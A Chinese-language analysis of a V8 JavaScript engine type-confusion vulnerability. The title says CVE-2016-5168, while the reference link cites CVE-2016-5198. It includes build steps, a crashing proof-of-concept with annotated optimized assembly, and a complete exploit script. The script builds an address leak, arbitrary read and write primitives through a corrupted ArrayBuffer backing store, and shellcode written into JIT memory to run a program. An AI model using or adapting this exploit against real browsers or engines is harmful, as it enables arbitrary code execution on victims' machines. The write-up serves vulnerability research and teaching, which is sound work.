CVE-2016-5168漏洞分析
前言
环境搭建
git reset --hard a7a350012c05f644f3f373fb48d7ac72f7f60542
gclient sync
tools/dev/v8gen.py x64.debug
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.debug d8
ninja -C out.gn/x64.release d8
调试:
./d8 --allow-natives-syntax --print-opt-code ./poc.js
打印v8优化后的代码
charCodeAt() 方法
定义和用法
charCodeAt() 方法可返回指定位置的字符的 Unicode 编码。这个返回值是 0 - 65535 之间的整数。
方法 charCodeAt() 与 charAt() 方法执行的操作相似,只不过前者返回的是位于指定位置的字符的编码,而后者返回的是字符子串。
语法
stringObject.charCodeAt(index)
漏洞分析
该漏洞是由于全局的property cell 时没有考虑Map 的变换,在优化代码中没有进行检查。
poc 代码:
var n;
function Ctor() {
n = new Set();
}
function Check() {
n.xyz = 0x826852f4;
}
Ctor();
Ctor();
%OptimizeFunctionOnNextCall(Ctor);
Ctor();
Check();
Check();
%OptimizeFunctionOnNextCall(Check);
Check();
Ctor();
%SystemBreak();
%DebugPrint(n);
Check();
%SystemBreak();
parseInt('AAAAAAAA');
运行代码进行调试:
./d8 --allow-natives-syntax --print-opt-code ./poc.js
Ctor优化后的代码:
--- Raw source ---
() {
n = new Set();
}
--- Optimized code ---
optimization_id = 0
source_position = 20
kind = OPTIMIZED_FUNCTION
name = Ctor
stack_slots = 5
compiler = crankshaft
Instructions (size = 218)
0x3f281ae06640 0 55 push rbp
0x3f281ae06641 1 4889e5 REX.W movq rbp,rsp
0x3f281ae06644 4 56 push rsi
0x3f281ae06645 5 57 push rdi
0x3f281ae06646 6 4883ec08 REX.W subq rsp,0x8
0x3f281ae0664a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x3f281ae0664e 14 488945e8 REX.W movq [rbp-0x18],rax
0x3f281ae06652 18 488bf0 REX.W movq rsi,rax
0x3f281ae06655 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x3f281ae0665c 28 7305 jnc 35 (0x3f281ae06663)
0x3f281ae0665e 30 e87dc2f5ff call StackCheck (0x3f281ad628e0) ;; code: BUILTIN
0x3f281ae06663 35 49bae95b696d233e0000 REX.W movq r10,0x3e236d695be9 ;; object: 0x3e236d695be9 <JS Function Set (SharedFunctionInfo 0x370eb151cb31)>
0x3f281ae0666d 45 4152 push r10
0x3f281ae0666f 47 48bae95b696d233e0000 REX.W movq rdx,0x3e236d695be9 ;; object: 0x3e236d695be9 <JS Function Set (SharedFunctionInfo 0x370eb151cb31)>
0x3f281ae06679 57 48bae95b696d233e0000 REX.W movq rdx,0x3e236d695be9 ;; object: 0x3e236d695be9 <JS Function Set (SharedFunctionInfo 0x370eb151cb31)>
0x3f281ae06683 67 33c0 xorl rax,rax
0x3f281ae06685 69 488b75e8 REX.W movq rsi,[rbp-0x18]
0x3f281ae06689 73 488bfa REX.W movq rdi,rdx
0x3f281ae0668c 76 e82f6ef3ff call Construct (0x3f281ad3d4c0) ;; code: BUILTIN
0x3f281ae06691 81 a801 test al,0x1
0x3f281ae06693 83 0f8458000000 jz 177 (0x3f281ae066f1)
0x3f281ae06699 89 49ba0965a883eb070000 REX.W movq r10,0x7eb83a86509 ;; object: 0x7eb83a86509 <Map(FAST_HOLEY_SMI_ELEMENTS)>
0x3f281ae066a3 99 4c3950ff REX.W cmpq [rax-0x1],r10
0x3f281ae066a7 103 0f8549000000 jnz 182 (0x3f281ae066f6)
0x3f281ae066ad 109 48bb91b76a6d233e0000 REX.W movq rbx,0x3e236d6ab791 ;; object: 0x3e236d6ab791 PropertyCell for 0x6db1ec0a209 <a Set with map 0x7eb83a86509> <------- 获得全局地址0x3e236d6ab791
0x3f281ae066b7 119 4889430f REX.W movq [rbx+0xf],rax <---------将Construct函数构造的Set存储到了地址为 [0x3e236d6ab791+0xf] 的全局变量中
0x3f281ae066bb 123 488d530f REX.W leaq rdx,[rbx+0xf]
0x3f281ae066bf 127 48250000f8ff REX.W and rax,0xfffffffffff80000
0x3f281ae066c5 133 f6400802 testb [rax+0x8],0x2
0x3f281ae066c9 137 7415 jz 160 (0x3f281ae066e0)
0x3f281ae066cb 139 48c7c00000f8ff REX.W movq rax,0xfff80000
0x3f281ae066d2 146 4823c3 REX.W andq rax,rbx
0x3f281ae066d5 149 f6400804 testb [rax+0x8],0x4
0x3f281ae066d9 153 7405 jz 160 (0x3f281ae066e0)
0x3f281ae066db 155 e8c0f6ffff call 0x3f281ae05da0 ;; code: STUB, RecordWriteStub, minor: 8707
0x3f281ae066e0 160 48b8112350b10e370000 REX.W movq rax,0x370eb1502311 ;; object: 0x370eb1502311 <undefined>
0x3f281ae066ea 170 488be5 REX.W movq rsp,rbp
0x3f281ae066ed 173 5d pop rbp
0x3f281ae066ee 174 c20800 ret 0x8
0x3f281ae066f1 177 e81ed9d7ff call 0x3f281ab84014 ;; deoptimization bailout 2
0x3f281ae066f6 182 e823d9d7ff call 0x3f281ab8401e ;; deoptimization bailout 3
0x3f281ae066fb 187 90 nop
Check 优化后的代码:
--- Raw source ---
() {
n.xyz = 0x826852f4;
}
--- Optimized code ---
optimization_id = 1
source_position = 57
kind = OPTIMIZED_FUNCTION
name = Check
stack_slots = 5
compiler = crankshaft
Instructions (size = 115)
0x3f281ae06980 0 55 push rbp
0x3f281ae06981 1 4889e5 REX.W movq rbp,rsp
0x3f281ae06984 4 56 push rsi
0x3f281ae06985 5 57 push rdi
0x3f281ae06986 6 4883ec08 REX.W subq rsp,0x8
0x3f281ae0698a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x3f281ae0698e 14 488945e8 REX.W movq [rbp-0x18],rax
0x3f281ae06992 18 488bf0 REX.W movq rsi,rax
0x3f281ae06995 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x3f281ae0699c 28 7305 jnc 35 (0x3f281ae069a3)
0x3f281ae0699e 30 e83dbff5ff call StackCheck (0x3f281ad628e0) ;; code: BUILTIN
0x3f281ae069a3 35 48b891b76a6d233e0000 REX.W movq rax,0x3e236d6ab791 ;; object: 0x3e236d6ab791 PropertyCell for 0x6db1ec0a429 <a Set with map 0x7eb83a8c391> <------------ 获得全局地址0x3e236d6ab791
0x3f281ae069ad 45 488b400f REX.W movq rax,[rax+0xf] <------------ 获得全局变量n
0x3f281ae069b1 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000 <------ 得到浮点数0x826852f4
0x3f281ae069bb 59 c4c1f96ec2 vmovq xmm0,r10 <------------ 存入浮点数寄存器
0x3f281ae069c0 64 488b4007 REX.W movq rax,[rax+0x7] <---------得到`properties`指针的地址
0x3f281ae069c4 68 488b400f REX.W movq rax,[rax+0xf] <------ 得到`properties`中第一个偏移的对象的地址
0x3f281ae069c8 72 c5fb114007 vmovsd [rax+0x7],xmm0 <----将浮点数存入上述对象偏移+8的地址
0x3f281ae069cd 77 48b8112350b10e370000 REX.W movq rax,0x370eb1502311 ;; object: 0x370eb1502311 <undefined>
0x3f281ae069d7 87 488be5 REX.W movq rsp,rbp
0x3f281ae069da 90 5d pop rbp
0x3f281ae069db 91 c20800 ret 0x8
0x3f281ae069de 94 6690 nop
从Check 优化后的代码中可以看到对于对象属性的赋值操作并没有进行检查,而是根据properties的偏移直接赋值。而经过优化后,可以看到对象n(n的地址为0xd6a72e8a5e9)并没有xyz 这个property,后面跟的是 String(null) 对象,所以” n.xyz = 0x826852f4;”的赋值操作,会根据偏移,直接对String(null) -> map进行赋值。
因为之前 n.xyz的类型为HeapNumber,针对HeapNumber的赋值,会赋值到填充地址+8的地方,如下图,Poc会将图中的0x0019000400007300覆盖成浮点数0x41e04d0a5e800000(0x826852f4)。
根据偏移赋值操作(即优化的关键地方)如下:
0x3f281ae069a3 35 48b891b76a6d233e0000 REX.W movq rax,0x3e236d6ab791
0x3f281ae069ad 45 488b400f REX.W movq rax,[rax+0xf] // 取出对象n的地址
0x3f281ae069b1 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x3f281ae069bb 59 c4c1f96ec2 vmovq xmm0,r10
0x3f281ae069c0 64 488b4007 REX.W movq rax,[rax+0x7] // 取出n中`properties`指针的地址
0x3f281ae069c4 68 488b400f REX.W movq rax,[rax+0xf] // 得到`properties`中第一个偏移的对象的地址
0x3f281ae069c8 72 c5fb114007 vmovsd [rax+0x7],xmm0 // 将0x41e04d0a5e800000存入到HeapNumber当中
vmovsd [rax+0x7],xmm0 指令最终覆盖String(null) -> map:
而后Poc 中的 parseInt(‘AAAAAAAA’); 操作会用到String(null) -> map,导致崩溃:
漏洞利用
首先要了解的是,同一个对象对不同类型的property 是如何存储的:
(a)浮点数的赋值会赋值到HeapNumber 对应的偏移( +8 )的地方;
(b)smi 会写到相应字段的高4个字节;
(c)对象的赋值会将对象的地址直接赋值到该字段。
根据上述对Poc的分析,我们直观可以得到一个越界写,而越界读是通过新建一个String(null)进行,用于构造addrOf原语
(1)构造addrOf原语
对一个String 对象进行输出的时候,会根据字符串的值和length 输出相应长度的字符串,所以我们将String(null)的null值修改成data_buf对象,即对象的地址。(因为对象的赋值会将对象的地址直接赋值到该字段。),将String(null)->length修改成0x8,利用charCodeAt()方法进行输出,就能构造addrOf原语泄漏data_buf对象的地址。
function Ctor_a() {
a = new Set();
}
function str2obj(obj) {
a.xyz0 = 3.4766863919152113e-308;// 为了避免破坏String(null)->map结构,用原来的值0x0019000400007300进行覆盖
a.xyz1 = 0; // smi 类型,只会向高4个字节写入,不会破坏低4个字节的String(null)->hash值
a.xyz2 = 0x8;
a.xyz3 = obj;
}
var str = new String(null);
function addrOf(obj)
{
Ctor_a();
str2obj(obj);
let addr = str.valueOf();
let leak_addr = 0;
for(let i = 0; i < 8; i++){
leak_addr += addr.charCodeAt(i) * (Math.pow(0x100,i));
}
return leak_addr;
}
var data_buf = new ArrayBuffer(0x233);
var data_buf_addr = addrOf(data_buf);
(2)修改data_buf->backing_store值
我们得到data_buf对象的地址,就可以根据偏移得到data_buf->backing_store的地址,后面需要对backing_store进行修改构造任意读写原语,但如何通过越界写修改data_buf->backing_store的值?
根据前面对不同类型的property存储的特性可知smi和对象类型会直接赋值,浮点数类型会寻址一次,对找到的地址+8处进行赋值。所以需要将data_buf->backing_store地址-8 当成浮点数类型,后续对其赋值时就能修改data_buf->backing_store的值了。所以需要将data_buf->backing_store-8直接作为String(null)字段的内容。直接赋值data_buf->backing_store-8 不能实现效果,因为data_buf->backing_store-8作为浮点数,会将赋值的字段当成一个HeapNumber,赋值字段内容+8处,而字段本身内容不变。
exp代码是将String(null)对象的值字段覆盖成String(null)对象本身的地址,此时再对值字段赋值data_buf->backing_store-8 时,就会将值字段当成一个HeapNumber,从而将data_buf->backing_store-8 赋值到String(null)+8处,即String(null)->hash。最后再对String(null)->hash赋值目标地址,就会将String(null)->hash当成HeapNumber,将目标地址赋值到(data_buf->backing_store-8)+8处,即data_buf->backing_store。从而达到修改data_buf->backing_store值的目的。
代码如下:
function overwrite_backing_store(target)
{
Ctor_a();
str2obj(String(null));
Ctor_b();
str2value(i2f(backing_store-8)); // 将值字段当成HeapNumber类型
Ctor_c();
hash2victim(i2f(target)); //将hash字段当成HeapNumber类型
}
(3)构造任意读写原语
//----- arbitrary read
function dataview_read64(addr)
{
overwrite_backing_store(addr);
return f2i(data_view.getFloat64(0, true));
}
//----- arbitrary write
function dataview_write(addr, payload)
{
overwrite_backing_store(addr);
for(let i=0; i < payload.length; i++)
{
data_view.setUint8(i, payload[i]);
}
}
(4)由于2016年的漏洞,此时还没有wasm,所以构造一个jit函数对象,执行的代码直接就在函数对象地址+0x38处,覆盖成shellcode即可。
var jit = new Function("var a = 1000000");
var jit_addr = addrOf(jit) - 1;
print("[+] jit_addr : 0x" + hex(jit_addr));
var jit_rwx = dataview_read64(jit_addr + 0x38);
print("[+] jit_rwx: 0x"+hex(jit_rwx));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
dataview_write(jit_rwx, shellcode);
// trigger jit function to run shellcode
jit();
exp 代码:
var buf = new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var Uint32 = new Uint32Array(buf);
function f2i(f)
{
float64[0] = f;
let tmp = Array.from(Uint32);
return tmp[1] * 0x100000000 + tmp[0];
}
function i2f(i)
{
let tmp = [];
tmp[0] = parseInt(i % 0x100000000);
tmp[1] = parseInt((i-tmp[0]) / 0x100000000);
Uint32.set(tmp);
return float64[0];
}
function hex(i)
{
return i.toString(16);
}
function gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x100000);
}
}
var jit = new Function("var a = 1000000");
var a;
var b;
var c;
function Ctor_a() {
a = new Set();
}
function Ctor_b() {
b = new Map();
}
function Ctor_c(){
c = new ArrayBuffer();
}
function str2obj(obj) {
a.xyz0 = 3.4766863919152113e-308;
a.xyz1 = 0;
a.xyz2 = 0x8;
a.xyz3 = obj;
}
function str2value(value){
b.xyz0 = 3.4766863919152113e-308;
b.xyz1 = 0;
b.xyz2 = 0x8;
b.xyz3 = value;
}
function hash2victim(target){
c.xyz0 = 3.4766863919152113e-308;
c.xyz1 = target;
}
for(let i = 0; i < 0x10000; i++){
Ctor_a();
Ctor_b();
Ctor_c();
}
for(let i = 0; i < 0x10000; i++){
str2obj();
str2value(1.1);
hash2victim(2.2);
}
var str = new String(null);
function addrOf(obj)
{
Ctor_a();
str2obj(obj);
let addr = str.valueOf();
let leak_addr = 0;
for(let i = 0; i < 8; i++){
leak_addr += addr.charCodeAt(i) * (Math.pow(0x100,i));
}
return leak_addr;
}
var data_buf = new ArrayBuffer(0x233);
//%DebugPrint(data_buf);
var data_buf_addr = addrOf(data_buf);
print("[+] data_buf_addr : 0x" + hex(data_buf_addr));
var backing_store = data_buf_addr + 0x20;
print("[+] backing_store : 0x" + hex(backing_store));
//%DebugPrint(jit);
var jit_addr = addrOf(jit) - 1;
print("[+] jit_addr : 0x" + hex(jit_addr));
function overwrite_backing_store(target)
{
Ctor_a();
str2obj(String(null));
Ctor_b();
str2value(i2f(backing_store-8)); // 将值字段当成HeapNumber类型
Ctor_c();
hash2victim(i2f(target)); //将hash字段当成HeapNumber类型
}
var data_view = new DataView(data_buf);
//----- arbitrary read
function dataview_read64(addr)
{
overwrite_backing_store(addr);
return f2i(data_view.getFloat64(0, true));
}
//----- arbitrary write
function dataview_write(addr, payload)
{
overwrite_backing_store(addr);
for(let i=0; i < payload.length; i++)
{
data_view.setUint8(i, payload[i]);
}
}
var jit_rwx = dataview_read64(jit_addr + 0x38);
print("[+] jit_rwx: 0x"+hex(jit_rwx));
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
dataview_write(jit_rwx, shellcode);
// trigger jit function to run shellcode
jit();
运行效果图:
参考链接
https://gtoad.github.io/2019/07/26/V8-CVE-2016-5198/
https://bugs.chromium.org/p/chromium/issues/detail?id=659475